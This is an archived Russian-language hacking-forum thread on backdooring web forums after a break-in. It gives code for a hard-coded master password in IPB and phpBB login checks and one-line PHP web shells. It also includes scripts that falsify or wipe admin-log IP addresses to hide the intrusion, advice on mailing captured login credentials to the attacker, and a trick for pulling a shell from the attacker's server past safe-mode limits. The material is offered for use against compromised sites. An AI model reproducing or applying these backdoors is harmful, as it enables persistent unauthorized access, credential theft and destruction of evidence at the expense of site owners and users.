PDA

Просмотр полной версии : Бэкдорим форумы. Теория и практика!


gemaglabin
06.09.2006, 21:41
Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpBB.


IPB

Первое,что приходит на ум - открыть admin.php и найти кусок проверки кода введенного пароля.Находим строку

require_once( ROOT_PATH."sources/action_admin/login.php" );

Проверка корректности пароля происходит в файле login.php,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.


if ( $this->ipsclass->converge->converge_authenticate_member( $pass ) != TRUE )
{
$this->login_form("The password you entered is not correct");
}


Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию


if (( $this->ipsclass->input['password']) == "antichat")

{
$sess_id = md5( uniqid( microtime() ) );
$db_string = $this->ipsclass->DB->compile_db_insert_string( array (
'session_id' => $sess_id,
'session_ip_address' => $this->ipsclass->ip_address,
'session_member_name' => $mem['name'],
'session_member_id' => $mem['id'],
'session_member_login_key' => $mem['member_login_key'],
'session_location' => 'index',
'session_log_in_time' => time(),
'session_running_time' => time(),
) );

$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['php_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' );
exit();
}


Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель.

но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код


system("$_GET[c];");


При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.

phpBB

В форумах вида phpBB все гораздо проще - логин и пароль проверяется в одном скрипте.

В этом месте скрипт сравнивает правильность введенного пароля

if( md5($password) == $row['user_password'] && $row['user_active'] )


Меняем эту строчку на

if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat"))


Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида

system("$_GET[c];");

Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.

* Про то,как поднять права в различных форумах можно прочитать тут (http://forum.antichat.ru/forumdisplay.php?f=16)

SladerNon
07.09.2006, 11:29
Живая тема :). Прикреплю. :)

Как и в случае с IPB можно в любом скрипте оставить шелл вида

system("$_GET[c];");
Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.

А почему бы не сделать,

system("$_POST[c];");
?

Менее удобно в юзанье, но проблемы с логами, после такого шелла - отпадают :)

k1b0rg
07.09.2006, 14:38
файлы для троянизации различаються в каждой версии любого форума. Проверено.

gemaglabin
07.09.2006, 15:06
Вообщем накатал два скрипта,могут поменять ip адреса в логах пребывания в админ панели или полность очистить таблицу.

Возможно где-то еще хранятся айпи,я не в курсе,но по аналогии можно дописать

Ах да,скрипты берут информацию для коннекта из конфигурационных файлов форума,те кидать надо в корень сервера.

Invision Power Board


<FORM NAME=check METHOD=POST ACTION='?change'>
<TD>Change IP To</TD>
<TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
<TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
</Form>
<FORM NAME=check METHOD=POST ACTION='?clean'>
<TD>Clean Logs</TD>
<TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
</Form>
<?php
if (isset($_GET['change']) || isset($_GET['clean']))
{
require_once('./conf_global.php');

$dbtype = $INFO ['sql_driver'];
$dbname = $INFO ['sql_database'];
$prefix = $INFO ['sql_tbl_prefix'];
$server = $INFO ['sql_host'];
$sqluser = $INFO ['sql_user'];
$sqlpass = $INFO ['sql_pass'];

$db = mysql_connect($server,$sqluser, $sqlpass);
if (!$db) die ("cannot connect to mysql host");
mysql_SELECT_db($dbname);
if (isset($_POST['ip']) && !empty($_POST['ip']))
{
$newip = $_POST['ip'];
$sql = 'UPDATE `'.$prefix.'admin_logs` SET `ip_address` = '.$newip;
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were updated to $newip";
}
if (isset($_GET['clean']))
{
$sql = 'TRUNCATE TABLE `'.$prefix.'admin_logs`';
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were destroyed";
}
}
?>


vBulletion Board


<FORM NAME=check METHOD=POST ACTION='?change'>
<TD>Change IP To</TD>
<TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
<TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
</Form>
<FORM NAME=check METHOD=POST ACTION='?clean'>
<TD>Clean Logs</TD>
<TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
</Form>
<?php
if (isset($_GET['change']) || isset($_GET['clean']))
{
require_once('./includes/config.php');

$dbtype = $config['Database']['dbtype'];
$dbname = $config['Database']['dbname'];
$prefix = $config['Database']['tableprefix'];
$server = $config['MasterServer']['servername'];
$port = $config['MasterServer']['port'];
$sqluser = $config['MasterServer']['username'];
$sqlpass = $config['MasterServer']['password'];

$db = mysql_connect($server,$sqluser, $sqlpass);
if (!$db) die ("cannot connect to mysql host");
mysql_SELECT_db($dbname);
if (isset($_POST['ip']) && !empty($_POST['ip']))
{
$newip = $_POST['ip'];
$sql = 'UPDATE `adminlog` SET `ipaddress` = '.$newip;
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were updated to $newip";
}
if (isset($_GET['clean']))
{
$sql = 'TRUNCATE TABLE `adminlog`';
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were destroyed";
}
}
?>


Ну или скачать = )

http://www.mytempdir.com/915084

gemaglabin
09.09.2006, 13:15
Как универсальный метод забекдоривания - в функциях проверки связки пасс - юзер вставить mail() с передачей этой самой связки на ваше мыло.

k1b0rg
09.09.2006, 14:19
на моем форуме при попытки взлома мне отсылаеться смс, со всеми данными =))
Иногда даже очень помогает узнать, кто из своих пытаеться взломать форум.

ShAnKaR
11.09.2006, 15:18
лутьше не
system("$_GET[c];");
а
system($_GET["c"]);

Qwazar
12.09.2006, 21:59
Небольшое замечание:

Порой в настройках PHP установлена директива disable_functions со значением "exec, system, passthru и т.п." тогда необходимо использовать eval т.к. всего можно добиться средствами PHP.

Ascentio
29.10.2006, 12:14
А если вот такой код:
<script type="text/javascript">
<!--
function process_form(the_form)
{
var element_names = new Object()
element_names["req_username"] = "Имя"
element_names["req_password"] = "Пароль"

if (document.all || document.getElementById)
{
for (i = 0; i < the_form.length; ++i)
{
var elem = the_form.elements[i]
if (elem.name && elem.name.substring(0, 4) == "req_")
{
if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
{
alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
elem.focus()
return false
}
}
}
}

return true
}
// -->
</script>

Что можно сделать?

Abra
07.12.2006, 18:58
Есть какой-нибудь аналог system("$_GET[c];"); в Перле? нужно затроянить форум на Перле, и не знаю че бы туда такого вставить.

}{0TT@БЬ)Ч
31.12.2006, 03:57
Порой в настройках PHP установлена директива disable_functions со значением "exec, system, passthru и т.п." тогда необходимо использовать eval т.к. всего можно добиться средствами PHP.Добавлю от себя как я это обошел запихнул код что то типа этого
<?php copy($_GET['sh'],sh.'.php');?> т.е при заходе на
_http://site.com/index.php?sh=http://ВАШ_СЕРВЕР.ru/ВАШ_ШЕЛЛ.php на серваке создается файл в нутрь которого копируется код вашего шелла.Запускаем наш шелл так _http://site.com/sh.php вот так можно обойти некоторые ограничения например safe mode ON

_-[A.M.D]HiM@S-_
22.01.2007, 01:33
*************Внимание - Внимание*****************
Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
*************Внимание - Внимание*****************

*************Attention - Attention*****************
Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
*************Attention - Attention*****************

MegaDeth
12.03.2007, 17:48
if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat"))
замечу что в этом случае хоть блаблабла напиши пароль 0 подойдет потомучто не учитываються типы сравниваемых данных === надо. а скрипт от 19 подошел к 22, последней.

DDA
03.04.2007, 22:55
ладно - отправкой мыла разобрался

теперь стоит вопрос такой

все продолжают заходить на форум по кукам , а не вводя пароль
поэтому мало паролей приходит

Можно ли как нить в админке Ipb сбросить куки чтоб все заново ввели пароль и логин?

Dimon_Aka_Sexxx
11.04.2007, 12:57
форум булка 3.5.4
чего то не получается залить шелл
через добавление faq модуля
модуль добавляю как написано в теме обзор уязвимостей булки.
но чего то при запросах ни ls ни dir не выдаёт (
непогу понять почему.
форум не патченый ставили как есть .

Ershik
19.11.2007, 13:49
if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat"))
Светиться ли пользователей antichat в админке как администратор?

ENFIX
19.11.2007, 13:58
нет